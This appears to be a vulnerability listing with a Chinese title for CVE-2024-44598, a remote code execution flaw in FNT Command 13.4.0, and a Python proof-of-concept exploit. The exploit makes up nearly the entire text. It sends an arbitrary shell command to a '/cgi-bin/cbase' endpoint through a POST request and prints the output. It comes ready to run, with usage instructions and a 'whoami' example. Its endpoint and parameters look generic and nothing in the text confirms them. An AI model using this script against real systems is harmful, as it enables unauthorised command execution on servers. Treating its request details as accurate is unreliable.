CVE-2024-44598 FNT Command 13.4.0 远程代码执行漏洞

import requests import sys # CVE-2024-44598 PoC - FNT Command RCE via C Base Module # Target: FNT Command 13.4.0 def exploit(target_url, command): """ Exploit for CVE-2024-44598 FNT Command 13.4.0 - Code Execution via C Base Module Usage: python exploit.py <target_url> <command> Example: python exploit.py http://target.com "whoami" """ endpoint = f"{target_url}/cgi-bin/cbase" # Malicious payload for RCE payload = { "module": "execute", "action": "run", "command": command, "format": "json" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Executing command: {command}") response = requests.post(endpoint, data=payload, timeout=30) if response.status_code == 200: print(f"[+] Request successful") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <command>") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)